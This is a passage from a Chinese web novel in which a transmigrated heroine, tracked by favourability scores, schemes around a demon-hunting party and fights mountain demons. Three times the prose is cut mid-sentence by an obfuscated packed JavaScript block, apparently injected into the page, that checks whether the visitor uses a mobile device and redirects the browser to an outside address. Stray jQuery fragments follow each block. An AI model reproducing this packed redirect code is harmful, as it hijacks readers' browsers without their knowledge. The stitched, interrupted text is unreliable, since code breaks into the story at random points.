若就不活,恐怕就要算严重偏离主线了。
沈惊澜估摸着自己恢复了三成力气,尝试睁开眼睛,五米开外,卫昭明浑身被妖海浸透,脸色青灰,倒在裴玄的怀里。
气息几不可闻。
裴玄从怀里掏出一个小瓷器,倒出一粒深红色米粒大小的丹药,捏住卫昭明的嘴巴强行喂下。
剧情一步步走下来,她想起来的情节也越来越多:卫昭明从小体弱多病,是个药罐子,所以他们三人身上都带了不少保命药。那个红色丹药,貌似后劲不小。
这药厉害得很,卫昭明脸色很快就退去了一点青色,他微微睁开眼睛,沈惊澜灵光一现。
“卫公子!”沈惊澜作奋力挣扎状,蛇一样在地上扭动起身。秦秋连忙去扶她,把她带到卫昭明身旁。
“太好了,你还活着!”沈惊澜声嘶力竭地喊道,同时挣脱秦秋的手,顺势扑到卫昭明怀里,手在袖子里狠掐大腿,逼出几滴眼泪,“你若死了,阿兰也不想活了!”
“你……”
沈惊澜没有给他说话的机会,颤抖地握住他苍白冰冷的手,虚弱的声音掩盖不住她深切的感情:“阿兰无以为报,唯有以身相许。”
卫昭明被压得呼吸困难,从牙缝里挤出一个字:“滚。”
“【卫昭明好感度】:0。”
就知道他不吃这一套,沈惊澜也不在乎他的好感度,她只是想让裴玄看到她的态度。
“实不相瞒,方才在妖海之中,卫公子舍命相救的样子让阿兰倾倒,若不能以身相许,那阿兰便终身不嫁了。”
“【卫昭明好感度】:-50%。”
他的眼神越发阴沉,本来苍白的面庞被她气得泛起了红晕,看来自家师弟怕是马上要被气死,秦秋连忙再次把沈惊澜扶起来,搀着她到一旁大树靠着坐下。
“昭明刚刚服用了丹药,眼下身体还虚弱,阿兰姑娘不如等他好一些再讨论这些终身大事。”
沈惊澜懂得见好就收,擤擤鼻子,靠在秦秋怀里,恢复弱不禁风的样子,气若游丝:“阿兰明白,急于说出自己的心意是有些唐突,让各位看笑话了。卫公子可慢慢考量。”
卫昭明白了她一眼,嘲讽道:“之前不是还说家乡有情郎?阿兰姑娘当真是薄情。”
疏忽了。果然撒一个谎就要用无数个谎来圆。
正好,再拉低一下裴玄的好感度。沈惊澜娇羞地望了卫昭明一眼,垂下眼眸,略带扭捏:“跟卫公子相比,我那情郎不值一提。”
“【裴玄好感度】:5%。”
沈惊澜窃喜。她现在的策略一是利用卫昭明,假意对他有情,让裴玄不对自己动心;二是制造困难让他和秦秋共同面对,若方才掉进坑里的是他二人,说不定局面会大不相同。
人总是在共同面对危险的时候容易产生感情。
“好了,现在不是说这个的时候,昭明需要静养,此地不宜久留,我们抓紧时间赶路,希望能在太阳落山前有个歇脚的地方。”裴玄架起卫昭明,把他扛在肩上,淡淡道,“多亏阿兰姑娘判断出你的位置,我和阿秋才能及时救你,昭明,莫对她有这么大的敌意。”
卫昭明剜了沈惊澜一眼,眼神要把她千刀万剐,他咬牙切齿道:“若不是她拽着我,我怎会差点没命!”
“说来也怪,”他话锋一转,眼睛微微眯起,明明是很严肃的样子,但是身体随着裴玄的步伐一起一落,看着很是滑稽,“阿兰姑娘到底是何等神人,不仅能判断妖怪的招数,还能猜到地下的情况。”
沈惊澜头埋在秦秋怀里,任由她架着自己慢慢走在二人后面,看着卫昭明的样子想笑又想骂人。她细声细语道:“我天生耳聪目明,此等天赋,卫公子怕不是羡慕吧?”
“嘁。”卫昭明不屑地白了她一眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717015|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。许是身体太过虚弱,很快他又陷入了昏迷,沈惊澜这才稍稍放下心来。
……
天色渐晚,远山夕阳西下,温暖的、明媚的阳光被靛蓝色的夜幕驱赶,留下最后一丝橙黄、艳粉和殷红的余晖,转瞬即逝。
初春的傍晚还带着凉意,抚平了白日里命悬一线的焦灼。
四人慢慢行路,竟在半山腰发现几间草房,昏黄的烛光从窗户映出一两个忙着烧饭的身影,炊烟袅袅,飘向天幕,馒头的香味一起传来,给清冷的春夜注入了缕缕烟火气。
他们止住了脚步。
不对劲。
秦秋道:“此山妖怪横行,山上怎会有农户?”
沈惊澜依旧靠在她怀里,像一只没有骨头的泥鳅,瑟瑟道:“他们不会也是妖怪吧?”
秦秋摇摇头:“附近没有妖气。”
“奇怪的是,这一路上也没再看到过碎金,泥魃亦销声匿迹。”
“咚咚咚。”裴玄上前敲门。
很快门就打开了,一个胖嘟嘟的小孩撑着门,探出头来,咧开嘴笑出两个酒窝,露出两颗乳牙:“你们是谁呀?”
裴玄微微笑道:“我们四人路过此处,想借宿一晚,叨扰了。”
“田来,让客人进来吧。”屋里传来一个中年男人的声音。
“好嘞,”田来把门完全打开,做出一个请的动作,一副小大人的模样,“哥哥姐姐进来坐吧,正好我们要开饭了。”
草屋不大,简陋整洁,一张小木桌,一碟三个黄面馒头,一碟炒春菜,朴素新鲜。
夫妇俩忙活完一桌子饭,刚擦好手准备吃饭,见来了客人,连忙又蒸上几个馒头和鸡蛋。
“穷乡僻壤的,没什么好东西,各位见谅。”妇人样貌普通,面容慈善,笑着招呼他们落座。
“是我们冒昧叨扰,给你们添麻烦了,”卫昭明精神好了些,裴玄把他安顿好,从袖子里掏出钱袋,倒出一点碎银,“多谢二位收留,这点心意还望收下。”
男人连忙摆手拒绝,憨厚地笑了笑:“这点粗茶淡饭你们不嫌弃就好,怎好意思收你们钱?几位一看就是贵人,我们沾沾贵人的福气就够了。”
太热情,太好心。
船山妖怪这么多,山下有不少人家也就罢了,山上还有住户,若不是妖,那便只能是妖的同盟或者帮手。沈惊澜盘算着,凑到田来身边,摸摸他毛茸茸的脑袋,扯出一个人畜无害的笑容:“小朋友,住在大山里怕不怕呀?”
田来摇摇头,奶声奶气道:“大山有啥可怕的?”
“山里有妖怪呢!”她装出害怕的样子,“姐姐今天就遇到一只蛇妖,可吓人了,你不怕吗?”
“我不怕!”田来中气十足,“他们都是好妖怪,从来不伤人。”
“……”沈惊澜噎住,难不成这些妖怪只欺负外来人?
沈惊澜不死心,继续问道:“那你有没有在山上看到过金子呀,姐姐看到了都不敢捡,生怕是妖怪布下的陷阱。”
“金子?”田来望了一眼正在忙碌准备饭的爹娘,凑到她耳边小声道,“姐姐,我悄悄告诉你,那是山神给我们的礼物。”
5. 第 5 章
夜色如墨,山川无声。
偶有虫鸣,一两声之后消失,似被潜伏在黑夜中的妖怪吞没。
沈惊澜不敢睡觉,把枕头埋进被子里,蹑手蹑脚起身,到旁边的房间去找主角团。
白日里卫昭明服了猛药,那药能救濒死之人,但性至寒,眼下药的副作用开始发作。
沈惊澜轻轻推开门,屋里没有点烛,一点点星光洒落在卫昭明的肩头,他坐在床上背对着她,上半身的衣服退去,瘦削的脊背被映得莹莹如玉,在幽暗的光中微微发抖。
好冷。沈惊澜打了个哆嗦,寒气不断从他身上涌出,整个屋子宛若一个冰窖。
裴玄和秦秋正为他运力缓解。她看不到他的表情,但想来应该很痛苦。
沈惊澜靠着桌子静静坐着,等了不知多久,差点趴在桌子上睡着。
“阿兰姑娘,”秦秋拍了拍她的肩膀,轻声道,“这么晚了怎么还不休息?”
沈惊澜揉揉眼睛,打了个哈欠,瞥了眼已经躺下的卫昭明,亦轻声道:“阿兰不敢睡。”
即使困得要死,她还时刻谨记自己的人设。“卫公子怎么样了?我担心死了。”
说完想了想,又补上一句:“若是卫公子有个三长两短,那,那阿兰也不想活了。”
“你少说话我就能多活一会。”卫昭明的声音还很虚弱,但她能听出若不是身体不允许,他一定会使个什么法术封上她的嘴巴。
沈惊澜闭上嘴巴,泪眼汪汪地向秦秋求助,秦秋无奈地笑着摇了摇头,“昭明嘴硬心软,阿兰姑娘别放在心上。”
“我当然不会怪他,只怪自己,不讨卫公子喜欢。”说话之间,又有了哭腔。
鬼知道她今天哭了多少回。以前从没发现自己是个演技派,眼泪说来就来,如果能成功回去,说不定还能去当个群演什么的。
“你……咳咳……”卫昭明气血上涌,猛地咳嗽不止,差点又被气晕。
“师兄师姐,”他咬牙切齿道,“麻烦你们先出去一下,我有话要单、独跟阿兰姑娘说。”
二人了然,会心一笑:“好,我们在外面守着。”
屋里一时间陷入安静,静得她能听到卫昭明微弱的呼吸声。
“你想说什么?”沈惊澜收起眼泪,眼中不再有柔情。
卫昭明转过身来,扶着床坐起来,斜靠床头。
他的头发散了下来,几根凌乱不听话的头发贴在脸庞,衬得苍白的面庞更加没有血色。
“师兄师姐不在,你也不装了?”他的眼神剑一样刺向沈惊澜。
沈惊澜不去看他,自顾自给自己倒了杯水,“不知道你在说什么。”
“师兄师姐都跟我说了,你若真是一个普通人,如何能感知到我在地下的位置,又是如何能在这么短的时间里恢复身体?”
也许秦秋和裴玄太过善良,不至于说怀疑自己,只是觉得奇怪,但卫昭明不一样,他没那么心软,绝不会用把人往好的方向想。
沈惊澜沉住气,不紧不慢道:“谁说我身体恢复了?你没看现在走路腿还发软吗?”这点细节她当然能注意到,甚至在吃饭的时候故意少吃,让自己看起来虚弱一些。
“我本来就躲在你身后,没怎么受伤,这一点我十分感激,不管怎么说,你对我有救命之恩,这个人情我一定会还。”
“至于我为什么要演戏么……”沈惊澜顿了顿,凑到卫昭明面前,盯着他微微上挑的眼眸,学着他眯起眼睛,“我怕裴大哥喜欢上我。”
??
卫昭明愣住,一时语塞。
“我长得好看,性格又好,眼观六路,耳听八方,临危不乱,处变不惊,”沈惊澜面不改色心不跳,不要脸地自夸了一通,“不瞒你说,在家乡有很多喜欢我的青年才俊,想娶我的人能从莽山山脚排到山顶。但裴大哥不是我中意的类型,我怕他伤心,故而伪装自己,明白了吗?”
卫昭明彻底被震撼了,人怎么能不要脸到这种程度?
看着他呆愣的模样,沈惊澜心情大好,直起身子伸了个大大的懒腰:“夜深了,赶紧休息吧,明天还要赶路呢。”
“你……”卫昭明试图恢复自己的语言系统,“你是不是这里有问题?”说完指指头。
沈惊澜白了他一眼:“脑子有问题的是你。”
“我听说你身上的毒是山都沈惊澜所致,且九日一发作,共发作九次,一次比一次痛苦,第九次发作时会暴毙身亡。”
“是又如何?”
“你也不动脑想想,你是锦绣城的卫昭明哎,沈惊澜要么不杀你给你卖个人情,要么肯定会将你一击致死,怎么会给你下慢毒,让你有时间去找解药然后再找她复仇?”
“你连这个都想不明白就别想我跟裴大哥的事了。”
“你有喜欢的女子吗?你懂感情吗?不懂就别给我添乱,我可不想让裴大哥伤心。再说了裴大哥跟秦姐姐才是天造地设的一对,我这么做,都是致力于让他二人终成眷属!”
沈惊澜深吸一口气,一顿输出差点缺氧。Pua她太熟了,领导就是她最好的学习模板,合格的社畜必得能识别Pua、无视Pua,最终做到反向Pua。
除妖多简单啊,只要实力够硬就能乱杀,没经过现代职场的卫昭明还是嫩了点。
好安静。
卫昭明陷入深深的自我怀疑。
沈惊澜双手环抱于胸前,等他的反应。如果他是一名合格的CP粉,此刻应该跟她统一战线。
他垂下眼眸,浓密的睫毛在眼下投下淡淡的阴影,显得愈发脆弱动人。
许久,卫昭明终于开口:“你说得对,沈惊澜给我下毒一事确实蹊跷,但此妖诡计多端、心狠手辣、凶残暴虐,另有图谋也说不定。”
坏了,她的名声好像不太好。
而且好像是锦绣城的死敌来着。
“师兄师姐确实是天造地设的一对,这一点,我认同,”卫昭明抬起眼眸,黑暗之中,他如一弯冷月,“但是你,依然可疑。”
沈惊澜也不指望他马上相信自己,暂时糊弄过去便好。她挤出一个自认为灿烂的笑容:“那不如就一起为他们的感情添砖加瓦吧!”
“你……”
“嘘——”卫昭明刚想回答,就被沈惊澜捂住了嘴巴。
秦秋和裴玄不知何时离开了,寂静之中,有两声虫鸣格外刺耳。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717016|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她是山都,山里的声音再熟悉不过,这不是正常的虫鸣。
它有节奏,有声音的高低,有长短快慢的变化,像一种语言。
不知道他二人到底去了哪里,现在是否安全。卫昭明的身体太过虚弱,若有意外,她只能自保。
沈惊澜深吸一口气,示意卫昭明躺下装睡,然后夺过他的浮光剑,持剑靠近门口。
她没杀过人,但是杀妖应该不会手软。
她真的是普通人。卫昭明盯着她的背影,星辉柔和清冷,她特意避开躲在暗处,表面上很镇定,忍不住颤抖的手却出卖了她。看她的样子,是第一次持剑。
什么样的普通女子,能如此自负,且如此机敏勇敢?
难道真是天赋异禀?
虫鸣消失。借着幽暗的光亮,沈惊澜透过窗户纸看到有一个身影在她原来的房间门口徘徊。
是那个男人。
他捅破了一点窗户纸,猫腰窥探,许是被沈惊澜放在被子里的枕头唬住了,从怀里摸出一粒碎金,弹进屋里,而后轻轻敲了敲门。
原来如此。
即使他们在路上没有发现碎金,这里还有碎金等着他们。半夜醒来看到床边有金子,可不得拿起来看看吗?
所以泥魃不杀他们——他们是泥魃的鱼饵。
男人没有马上离开,他要确保沈惊澜醒,要确保她掉入妖海之中。
许久没有动静,男人又学猫“喵喵”叫了几声。
忽然起风了。
风声在夜里格外凛冽,呼啸之间,似猛兽怒吼。
“怪不得叫夜猫子,真是吵得人难以安寝。”
男人心跳漏了一拍,脖颈处不知何时多了一把剑。
沈惊澜如鬼魅般,趁着风声悄然溜到他身后。
“你说,夜猫子在妖山里,为何妖不吃它?难道它是妖的狗腿子?”沈惊澜幽幽道,剑锋抵住他的喉咙,划出一道血丝。
男人结结巴巴道:“阿,阿兰姑娘说笑了,夜里风急,我,我就是想来看看,看看各位窗户是否关好。”
“是么,”沈惊澜的语气越来越冷,“我的两位同伴恐在深山中走丢,你可知他们在哪儿?”
“这,这我哪知道呢……许是出去散散步,透透气……”脖颈的伤口又深了一分。
嘴真硬。沈惊澜不想跟他多费口舌,耽误得越久就越不安全。撬不开他的嘴,便撬那个妇人,再不成,那个小孩看起来不像坏人,说不定也能找到线索。
“转身。”沈惊澜剑身拍了拍他的脖子,“进这个屋。”
男人乖乖照做,一进屋便被冷得打了个哆嗦。
卫昭明已经起身,气色看起来好了少许。手里握着一条银色软绳,细看绳子上有一排排细密的小刺。
沈惊澜恶狠狠道:“把他绑结实点,省得再给我们使绊子。”
“放心,这是软银索,越是挣扎,绳索就越紧,届时这些倒刺深入皮肉,稍稍用力便会血肉模糊。”
男人吓得跪在地上,却仍是一个字都不说。
“你看好他,我把他夫人也抓来。”
沈惊澜夜中持剑如同恶煞,刚准备行动,一声长啸刺破天穹。
6. 第 6 章
三更天,妖气盛。
又一声长啸,声音似乎向北更远了。
难道裴玄和秦秋在那个方向?
确保不是冲着他们来的,沈惊澜飞速跑去妇人的房间。
卫昭明的身子又开始冷了。
沈惊澜把妇人绑来的时候,屋子门窗地面墙壁上,都起了一层薄薄的冰霜,她进来差点滑倒。
卫昭明和男人都冻晕了过去。沈惊澜头都大了,一边用剑抵着妇人,一边踹向倒在地上的卫昭明:“醒醒,醒醒,软银索还有吗?”
地上的人没有反应。
沈惊澜加重了力道,猛地踹向他的屁股:“卫昭明!”
卫昭明吃痛,昏迷中皱紧了眉头。
见他有了反应,沈惊澜连忙又补上一脚:“现在不是昏迷的时候,再昏迷下去我们都得死这儿。”
卫昭明眼睛终于睁开一道缝,周遭幽暗,他还没看清沈惊澜的模样,就见抬腿准备踢自己,屁股疼得要命,不用想定是她的杰作。他气得话都说不顺:“咳咳……你还踹……碰见你我真是,真是折寿了。”
被当事人发现,沈惊澜面不改色心不跳地收回腿,催促道:“快用软银索把她也绑起来。”
“孩子呢?”
“放心,那小孩睡得很沉,”沈惊澜还没变态到对孩子下手,“但是她也嘴硬得很,得想想办法。”
卫昭明被冻得浑身剧痛,每一次呼吸都似有冰刀从他的喉咙划到胸腔。但他不想被沈惊澜看轻,愣是一声不吭扶着桌子站了起来,捡起地上长出来的一段软银索,娴熟地把这对夫妻绑在了一起,“你打算怎么办?”
沈惊澜拿了床被子盖在身上,搓搓手跺跺脚企图赶走寒气。“这可难办了,你半死不活,我又不会法术,裴大哥和秦姐姐不在,我俩就是两个废人。”
“炮灰是什么?”卫昭明冷不丁来了一句。
他记性倒是很好。沈惊澜指指他又指指自己:“如果现在有妖怪出现,我俩无力反抗被干掉,那我俩就是炮灰。”
话音刚落,远处传来异响。
沈惊澜连忙捂住嘴:“我瞎说的,不会这么灵吧?”
“你闭嘴……”卫昭明疑似失去所有力气。
妇人大喜过望:“太好了,是山神来救我们了,我就知道山神不会放过你们这些歹人的。”
二人异口同声:“你闭嘴。”
沈惊澜披着被子靠到卫昭明身边,凑到他脸庞,压低声音:“你现在还剩几成法力?”
突如其来的靠近让卫昭明一时不适,这个莫名其妙的女子光洁白皙的面庞近在眼前,他稍微一垂眸,就能清晰地看到她一根一根翘起的睫毛,睫毛间起了一层淡淡冰雾。
她的身上,有属于山野的青草香。
有点熟悉。
“问你话呢,”见他愣神,沈惊澜胳膊肘碰碰他的袖口,有些莫名,“这可不是愣神的时候,知道你痛苦难耐,辛苦你忍耐一下。”
卫昭明回过神,避开她询问的眼神:“大概一成吧。”
“一成能对付多少年的妖?”
“普通几十年小妖尚可应付,若遇上悟性高的譬如沈惊澜之流,虽只是百年妖,但我就是使十成力也打不过。”
他在试探。
沈惊澜不知哪里又惹他怀疑,但考虑此人向来阴晴不定,决定暂时忽略。
“那你跟裴大哥、秦姐姐就没什么求助暗号之类的吗?”
“有。”
外面的异响越来越近,“轰隆隆”竟似雷鸣。
不对,这不是一只妖怪。沈惊澜她俯身趴在地上,侧耳细听,脸色越来越沉重。“快呼救!若我没听错,应当是一群妖怪来了!”
这轰隆隆的声音,实则是万妖奔腾!
一声突兀的哨声刺穿墙壁的薄冰,在屋子里打了个转。
卫昭明脸色一变:“是师兄师姐,他们遇到危险了!”
“他们让我们别管他们赶紧跑。”
该死,他们不是很厉害吗?声音越来越响,沈惊澜不敢耽搁掀开被子拉着卫昭明就要破窗而逃,“快快快,用你那一成功力把窗户破开。”
卫昭明运力,毫无反应。
“我法力没了。”
难道说裴秦二人也没了法力?沈惊澜眸子一凛,拿起浮光剑大步跨到妇人身边,剑架在她脖子上,沉声道:“你们在饭里动了手脚。”
妇人还是重复:“山神不会放过你们。”
沈惊澜冷笑:“那小屁孩是不会放过我们,那他能放过你吗?”
下一瞬,声音震耳,小小的草屋整堵墙被撞开,十几只只形态各异的妖怪逆着星光围成一堵墙。
仿佛进了动物园。鹿虎蛇兔,还有看不出原始形态像一滩烂泥的妖,几个手持狼牙棒的,几个摩拳擦掌准备硬碰硬的,还有几个准备偷袭的。而田来,正坐在虎妖的头顶,瞪着圆溜溜的小眼睛,气得腮帮子一鼓一鼓:“请山神大人救救我爹娘!”
沈惊澜死死拽住妇人,以她和男人为人质,盯着妖怪,小声问卫昭明:“这几只妖怪估摸都是多少年的?”
卫昭明撑着孱弱的身子挡在沈惊澜身前,低声道:“大多是七八十年的,最老的是那滩烂泥一样的,估摸一百五十年。”
“有会说话的没?”沈惊澜大喊,为自己打气,更不想输了气势。
漆黑的烂泥慢慢变形,很快化为一个一尺高的小人形状,沙哑尖锐的声音从胸腔传来:“死到临头,废话不少。”
“你放了我和我的同伴,让我们安全出山,我便把这两人放了,否则我死也要拉上他们垫背。”
烂泥张牙舞爪扭动着身体,哈哈大笑:“将死之人,自作聪明。”
“惹怒山神,死路一条。”
“还不快快,束手就擒。”
“什么狗屁山神,害死那么多人,凶兽恶怪,没能杀死他实在可惜,”沈惊澜向烂泥啐了一口,转头向妇人,“还有你们,助纣为虐,也一样该死!”
二人被一步一步逼到了墙角,再无可退。
他们还是忌惮的,怕她真的拉这对夫妇陪葬,否则早就把她和卫昭明撕烂了。
一时之间陷入僵局。
“时间快到了。”卫昭明冷不丁冒出一句。
“什么?”
没等沈惊澜反应过来,妇人像是得到了什么信号,突然低头向剑锋撞去,沈惊澜下意识地缩了一下剑,眨眼之间,妇人转身将她扑倒,待卫昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717017|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明把她拽起时,沈惊澜的身上多了一粒碎金。
“该死!”
地面陡然出现一个坑,恰在几人脚下。摔下去的一刹那,烂泥鬼魅似的瞬移过来,在妇人和男人掉下去之间缠上了他们的身体,看似缓慢流淌的河流,实则不过瞬时便将二人拽到了安全的地方。
这次沈惊澜没有拉住卫昭明。
而卫昭明抱住她,急速下坠。
痛,但没有想象中的剧痛。
“你要是还活着,就赶紧起来。”
哦,原来是有人肉垫子。沈惊澜颤颤巍巍爬起身,又赶忙把卫昭明扶起来。
“你说咱俩也太倒霉了,还能被人硬塞金子掉坑。”沈惊澜靠在石壁上,不动声色地吸收山的能量恢复身体。
这里与之前的坑不同,四四方方,四面石壁上分别有一只青铜灯,烛火摇曳,勉强照亮这方天地。坑中间一口直径两尺的大鼎,鼎的内部雕刻了无数条青面银鱼妖,形态各异,或哭或笑,或狰狞或慈祥,看着好生诡异。
“你的脸色不太好,还撑得住吗?”烛火之下,沈惊澜才看清卫昭明的面庞。
他几乎像个死人,面色灰白,身体周围一层淡淡的霜气,凝住了绯红衣袍的灼热和明媚,也凝住了他的生气。
“死不了。”声音微弱,差点传不到沈惊澜的耳朵里。
跟死也差不多了。沈惊澜指望不上他,沿着四面石壁慢慢摸索。
一时之间很静,只有烛火燃烧偶尔发出“噼啪”声,在灯里绽放一朵朵小小的烟花。
卫昭明的呼吸很微弱,微弱到她要压住自己的呼吸声才能听到。
“卫昭明,你别死。”她有些不放心。
他靠着石壁坐下,低着头,蜷缩起身体,在烛火照不到的角落里发抖。他身体紧绷,压低声音,想要掩盖声音中的虚弱:“难得听到你说一句正常的话。”
“你死了,我也活不了。”
“你不必在我面前装模做样。”
沈惊澜轻声道:“我说真的。”
“你死了,我就回不了家了。”
他的呼吸一滞。
“哎,找到了!”没有察觉到他的异样,沈惊澜摸到石壁有一处不平,仔细一摸,回头看着他惊喜道,“这里是扇石门。”
“这里有微弱的气流,衔接处不平,形状是一道门,”她摸清楚门的大概形状,转而又陷入苦恼,“可是门后不一定是活路,也可能是妖海,是死路。”
“你有火药之类的东西吗?不管是死路活路,总归要试一试。”她自顾自地说着,系统突然跳出来一个界面:
“【卫昭明好感度】:50%。”
沈惊澜吃惊地望向他,触碰到他的视线,两人都似触电般避开对方的眼神。
熟悉的哨声再一次响起,打破短暂的尴尬。
这次声音很近,似乎就在石壁后面,沈惊澜瞬间抓住了救命稻草,冲着石壁大喊:“秦姐姐!裴大哥!我们在石门后面!”
“你们还好吧?”石壁另一边传来裴玄的声音。
“还好!还没死!”
鼎下突然生起烈火,青黑的鼎迅速被烧成暗红色。
沈惊澜狂喊:“马上不好了!”
7. 第 7 章
卫昭明时常觉得自己生错了人家。
若自己不姓卫,不是锦绣城门主、除妖师之首卫长枢的独子,而只是一个普普通通的除妖师,或许会好很多。
不论是对自己,还是对卫长枢。
可偏偏造化弄人。卫长枢的儿子自小体弱,修习没有特别的天赋,比上比不过裴玄和秦秋,比下又比不过同门身强力壮,当了十七年药罐子。
卫长枢对他寄予厚望,但如今,更多的是失望。
他意外遇到沈惊澜,正常来说他完全不是对手,寻机逃跑多找几个帮手才是明智之举,但他想证明自己,证明他配得上当卫长枢的儿子、锦绣城的少主。
可他没有金手指,没有逆天的设定,在他不能理解的设定里,他是注定会失败的男二。
本来卫长枢派了最得意的弟子裴秦二人去寻解药,他又偏偏要偷偷跟着,总想着万一呢,万一他靠自己成功了呢?
他既觉得失败,又不甘心,总是心存一丝“妄念”。
万一呢?
“卫昭明,你在想什么呢?”沈惊澜不解地望着他,有点无奈,有点生气,“快想想有没有办法能打开石门。”
“火药啦,什么神兵利器啦,你不会什么都没有吧?”
“阿兰姑娘。”他第一次这样客气地叫她。
沈惊澜吓了一跳,不知道他又哪根筋搭错了。
他拖着沉重的脚步,扶着石壁,一步一步挪到石门旁,苍白纤长的手触摸到被烤的温热的石门,淡淡的霜气弥漫开。
“就算我死了,师兄师姐也会送你回家。”
他抬起眼眸,却又不敢直视沈惊澜,目光穿过她耳边凌乱的鬓发不知望向何处,好像在怯懦地期待一个答案。
沈惊澜不知道他的态度为何突然180度大转变,愣了片刻,眨眨眼:“那不一样。”
“你必须要跟我一起去莽山。”
她的话带着不容推脱的坚决,好像认定什么事,就必得全力做到。
尽人事,听天命。她向来如此,若未尽人事就放弃,这辈子未免太过窝囊,白白浪费时间走这一遭。
“我尽力。”说的是不确定的话,脸上却是沈惊澜从未见过的郑重。
我一定会让你回家。卫昭明没有说出口。
第一次有人这样需要他,第一次有人这样认真的跟他说:
卫昭明,你别死。
“所以你想到办法了?”比起卫昭明的古怪,沈惊澜更在乎现在如何自救。
“唯有一试。”
上次失败了,沈惊澜默默祈祷,希望他不要总是这么倒霉。
“时间到了。”
“啊?”
他体内的寒气陡然变盛,四方石壁很快结了一层厚厚的冰,沈惊澜几乎冻僵了,想要到鼎旁边取取暖,可方才的烈焰早已偃旗息鼓,连带着鼎一起被冰冻住。
卫昭明脱下绯红色的衣袍扔给沈惊澜,但这薄薄的衣衫早就被他的冰冷的身体冻透了,冰从她的鞋底开始蔓延,一点一点,自腿盘旋而上,似吐着信子的蛇在一点一点缠绕猎物。
“拿出我的玉佩,放在掌心,闭上眼睛,想象你正身处一个温暖之地。”
沈惊澜已经冻得麻木,咬着牙掏出玉佩,乖乖照做。
果然温暖了一些。
“师兄师姐!”卫昭明贴着石壁大喊,“门已经冻住,砸门!”
“好!你们离门远一些!”
“咚——”
重重的撞击震得冰墙长出许多裂缝。
“咚——”
沈惊澜捂住耳朵,躲在墙的拐角,搀着卫昭明,把玉佩塞到他手里:“快,你也暖和暖和。”
“咚——”
石门摇摇欲坠。
“他们用的什么武器这么厉害?”
“轰隆——”一声,石门连带着厚厚的冰层一起炸裂,碎冰四溅,乱石迷眼,沈惊澜定睛一看,秦秋抡着一只大铁锤,还没来得及收手。
卫昭明努努嘴:“师姐的流英锤,大约三钧重。”
“你们怎么会在这里?”
秦秋苦笑:“这里有一只形同烂泥的妖怪,它可有找到你们?”
二人点点头。
原来从地底妖海获救开始,这座山就已经开始布局。
饭里被下了药,让他们法力尽失,无论今晚他们是四人在一起还是两两分开,面对山上众多的妖怪都只能束手就擒。
“那只妖怪没有形体,一开始融于夜色之中,我们没了法力,一时没能察觉。”
“直到它靠近我们,从我们脚底蔓延,等我们察觉到时,烂泥一瞬间灌进了嘴里,我们发不出声音,身体被烂泥包裹,被它带到了一个地下密室。”
密室之中有道门,门后通向这里。
沈惊澜不解,妖怪好像并不着急除掉他们,反而跟他们玩起了游戏。
它是故意让秦秋和裴玄来到这里的。故意让他们四人重新聚在一起。
裴玄面色凝重:“今天是第一个九日,得想办法恢复法力赶紧出去,否则昭明会被冻伤根基。”
怪不得他说时间到了,原来是这个意思。毒发的第一个九日,寒气侵体,会冻伤五脏六腑。
“痴心妄想。”烂泥不知何时悄然钻进鼎里,泥魃泥鳅似的从烂泥里钻出,骑在烂泥头顶,望着四人“咯咯”笑,笑得浑身的肉乱颤,两只豆大的眼睛眯成了一条线。
泥魃从烂泥头上蹦下来,踩在冰面上围着鼎跳来跳去,挥舞双手,扭动着肥胖的身躯,盯着四人兴奋地大喊:“炼金!炼金!”
炼金?沈惊澜打了个冷战。
难不成这鼎是炼他们的锅?
沈惊澜脱口而出:“快!秦姐姐快把鼎砸烂!”
“来不及了。”烂泥蹦出四个字,同时从鼎中长出四个触手,蟒蛇一般迅速将四人缠绕,然后猛地抛起,摔入鼎中。
被冻灭的火“呼”地重新燃起,比先前更盛,火中带妖气,“滴答”“滴答”四周的冰慢慢融化,小小的坑洞一下子变得潮湿闷热,四人被烂泥束缚,成为温水中的青蛙。
怎么办怎么办。沈惊澜闭上眼睛,攥紧拳头,银牙紧咬,逼迫自己冷静下来。
原著是怎样的?她脑子太乱了,越是着急大脑越是一片空白。系统呢?快出来!
系统偏偏在这时不知去了哪里。
控制呼吸,控制情绪。
控制自己。沈惊澜深吸一口气,逐渐升高的温度让她的心跳加快,鼎里的烂泥漫过胸口,滚烫地流淌、灼烧。
忽而手上多了一丝凉意。
沈惊澜睁开眼睛,目光对上卫昭明,他隔着烂泥,将她的手虚空环起。
“我们不会死的。”
沈惊澜不自觉松开握紧的
